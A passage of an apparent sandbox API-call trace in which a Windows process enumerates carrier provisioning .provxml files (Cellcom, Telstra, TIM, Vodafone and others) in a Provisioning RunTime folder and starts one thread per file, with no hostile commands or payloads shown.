[0177.937] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x142) returned 0x305e058 [0177.937] wcscpy (in: _Dest=0x305e058, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0177.937] wcscat (in: _Dest=0x305e058, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0177.937] wcscat (in: _Dest=0x305e058, _Source="208__Connections_Cellular_Cellcom (Israel)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\208__Connections_Cellular_Cellcom (Israel)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\208__Connections_Cellular_Cellcom (Israel)_i0$(__MVID)@WAP.provxml" [0177.937] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x305e058, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9cc [0177.938] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x907cb89c, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x907cb89c, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x907cb89c, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="209__Connections_Cellular_Orange (Israel)_i0$(__MVID)@WAP.provxml", cAlternateFileName="209__C~1.PRO")) returned 1 [0177.938] wcscmp (_String1="209__Connections_Cellular_Orange (Israel)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0177.938] wcscmp (_String1="209__Connections_Cellular_Orange (Israel)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0177.938] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x140) returned 0x2fa6470 [0177.938] wcscpy (in: _Dest=0x2fa6470, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0177.938] wcscat (in: _Dest=0x2fa6470, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0177.938] wcscat (in: _Dest=0x2fa6470, _Source="209__Connections_Cellular_Orange (Israel)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\209__Connections_Cellular_Orange (Israel)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\209__Connections_Cellular_Orange (Israel)_i0$(__MVID)@WAP.provxml" [0177.938] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fa6470, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9a8 [0177.939] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90163088, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90163088, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90163088, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="20__Connections_Cellular_Telstra (Australia)_i0$(__MVID)@WAP.provxml", cAlternateFileName="20__CO~1.PRO")) returned 1 [0177.993] wcscmp (_String1="20__Connections_Cellular_Telstra (Australia)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0177.993] wcscmp (_String1="20__Connections_Cellular_Telstra (Australia)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0177.993] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x146) returned 0x305e1a8 [0177.994] wcscpy (in: _Dest=0x305e1a8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0177.994] wcscat (in: _Dest=0x305e1a8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0177.994] wcscat (in: _Dest=0x305e1a8, _Source="20__Connections_Cellular_Telstra (Australia)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\20__Connections_Cellular_Telstra (Australia)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\20__Connections_Cellular_Telstra (Australia)_i0$(__MVID)@WAP.provxml" [0177.994] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x305e1a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x99c [0177.994] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x907cb89c, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x907cb89c, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x907cb89c, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x354, dwReserved0=0x0, dwReserved1=0x0, cFileName="210__Connections_Cellular_Pelephone (Israel)_i0$(__MVID)@WAP.provxml", cAlternateFileName="210__C~1.PRO")) returned 1 [0177.994] wcscmp (_String1="210__Connections_Cellular_Pelephone (Israel)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0177.994] wcscmp (_String1="210__Connections_Cellular_Pelephone (Israel)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0177.994] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x146) returned 0x305e2f8 [0177.994] wcscpy (in: _Dest=0x305e2f8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0177.994] wcscat (in: _Dest=0x305e2f8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0177.995] wcscat (in: _Dest=0x305e2f8, _Source="210__Connections_Cellular_Pelephone (Israel)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\210__Connections_Cellular_Pelephone (Israel)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\210__Connections_Cellular_Pelephone (Israel)_i0$(__MVID)@WAP.provxml" [0177.995] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x305e2f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x658 [0177.995] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x907cb89c, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x907cb89c, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x907cb89c, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="211__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", cAlternateFileName="211__C~1.PRO")) returned 1 [0177.995] wcscmp (_String1="211__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", _String2=".") returned 1 [0177.995] wcscmp (_String1="211__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", _String2="..") returned 1 [0177.995] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x146) returned 0x305e448 [0177.995] wcscpy (in: _Dest=0x305e448, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0177.995] wcscat (in: _Dest=0x305e448, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0177.995] wcscat (in: _Dest=0x305e448, _Source="211__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\211__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\211__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" [0177.995] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x305e448, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x998 [0177.996] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x907cb89c, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x907cb89c, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x907cb89c, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2be, dwReserved0=0x0, dwReserved1=0x0, cFileName="212__Connections_Cellular_TIM (Italy)_i0$(__MVID)@WAP.provxml", cAlternateFileName="212__C~1.PRO")) returned 1 [0177.996] wcscmp (_String1="212__Connections_Cellular_TIM (Italy)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0177.996] wcscmp (_String1="212__Connections_Cellular_TIM (Italy)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0177.996] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x138) returned 0x305e598 [0177.996] wcscpy (in: _Dest=0x305e598, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0177.996] wcscat (in: _Dest=0x305e598, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0177.996] wcscat (in: _Dest=0x305e598, _Source="212__Connections_Cellular_TIM (Italy)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\212__Connections_Cellular_TIM (Italy)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\212__Connections_Cellular_TIM (Italy)_i0$(__MVID)@WAP.provxml" [0177.996] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x305e598, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x49c [0177.997] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x907f1b04, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x907f1b04, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x907f1b04, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="213__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", cAlternateFileName="213__C~1.PRO")) returned 1 [0177.997] wcscmp (_String1="213__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", _String2=".") returned 1 [0177.997] wcscmp (_String1="213__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", _String2="..") returned 1 [0177.997] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x128) returned 0x2fe1ed8 [0177.997] wcscpy (in: _Dest=0x2fe1ed8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0177.997] wcscat (in: _Dest=0x2fe1ed8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0177.997] wcscat (in: _Dest=0x2fe1ed8, _Source="213__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\213__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\213__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" [0177.997] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe1ed8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x994 [0177.998] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x907f1b04, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x907f1b04, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x907f1b04, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2cd, dwReserved0=0x0, dwReserved1=0x0, cFileName="214__Connections_Cellular_Vodafone IT (Italy)_i0$(__MVID)@WAP.provxml", cAlternateFileName="214__C~1.PRO")) returned 1 [0177.998] wcscmp (_String1="214__Connections_Cellular_Vodafone IT (Italy)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0177.998] wcscmp (_String1="214__Connections_Cellular_Vodafone IT (Italy)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0177.998] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x148) returned 0x305e6d8 [0177.998] wcscpy (in: _Dest=0x305e6d8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0177.998] wcscat (in: _Dest=0x305e6d8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0177.998] wcscat (in: _Dest=0x305e6d8, _Source="214__Connections_Cellular_Vodafone IT (Italy)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\214__Connections_Cellular_Vodafone IT (Italy)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\214__Connections_Cellular_Vodafone IT (Italy)_i0$(__MVID)@WAP.provxml" [0177.998] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x305e6d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3d0 [0177.999] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x907f1b04, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x907f1b04, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x907f1b04, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="215__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", cAlternateFileName="215__C~1.PRO")) returned 1 [0177.999] wcscmp (_String1="215__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", _String2=".") returned 1 [0177.999] wcscmp (_String1="215__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", _String2="..") returned 1 [0177.999] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x128) returned 0x2fe2c40 [0177.999] wcscpy (in: _Dest=0x2fe2c40, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0177.999] wcscat (in: _Dest=0x2fe2c40, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0177.999] wcscat (in: _Dest=0x2fe2c40, _Source="215__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\215__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\215__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" [0177.999] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe2c40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x990 [0178.000] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x907f1b04, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x907f1b04, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x907f1b04, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x283, dwReserved0=0x0, dwReserved1=0x0, cFileName="216__Connections_Cellular_Wind (Italy)_i0$(__MVID)@WAP.provxml", cAlternateFileName="216__C~1.PRO")) returned 1 [0178.000] wcscmp (_String1="216__Connections_Cellular_Wind (Italy)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0178.000] wcscmp (_String1="216__Connections_Cellular_Wind (Italy)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0178.000] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x13a) returned 0x2fa6098 [0178.000] wcscpy (in: _Dest=0x2fa6098, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0178.000] wcscat (in: _Dest=0x2fa6098, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0178.000] wcscat (in: _Dest=0x2fa6098, _Source="216__Connections_Cellular_Wind (Italy)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\216__Connections_Cellular_Wind (Italy)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\216__Connections_Cellular_Wind (Italy)_i0$(__MVID)@WAP.provxml" [0178.000] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fa6098, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x654 [0178.000] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x907f1b04, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x907f1b04, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x907f1b04, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x287, dwReserved0=0x0, dwReserved1=0x0, cFileName="217__Connections_Cellular_Wind (Italy)_i1$(__MVID)@WAP.provxml", cAlternateFileName="217__C~1.PRO")) returned 1 [0178.001] wcscmp (_String1="217__Connections_Cellular_Wind (Italy)_i1$(__MVID)@WAP.provxml", _String2=".") returned 1 [0178.001] wcscmp (_String1="217__Connections_Cellular_Wind (Italy)_i1$(__MVID)@WAP.provxml", _String2="..") returned 1 [0178.001] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x13a) returned 0x2fa5658 [0178.001] wcscpy (in: _Dest=0x2fa5658, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0178.001] wcscat (in: _Dest=0x2fa5658, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0178.001] wcscat (in: _Dest=0x2fa5658, _Source="217__Connections_Cellular_Wind (Italy)_i1$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\217__Connections_Cellular_Wind (Italy)_i1$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\217__Connections_Cellular_Wind (Italy)_i1$(__MVID)@WAP.provxml" [0178.001] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fa5658, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3d4 [0178.001] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90817d73, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90817d73, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90817d73, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x313, dwReserved0=0x0, dwReserved1=0x0, cFileName="218__Connections_Cellular_Claro (Jamaica)_i0$(__MVID)@WAP.provxml", cAlternateFileName="218__C~1.PRO")) returned 1 [0178.001] wcscmp (_String1="218__Connections_Cellular_Claro (Jamaica)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0178.001] wcscmp (_String1="218__Connections_Cellular_Claro (Jamaica)_i0$(__MVID)@WAP.provxml", 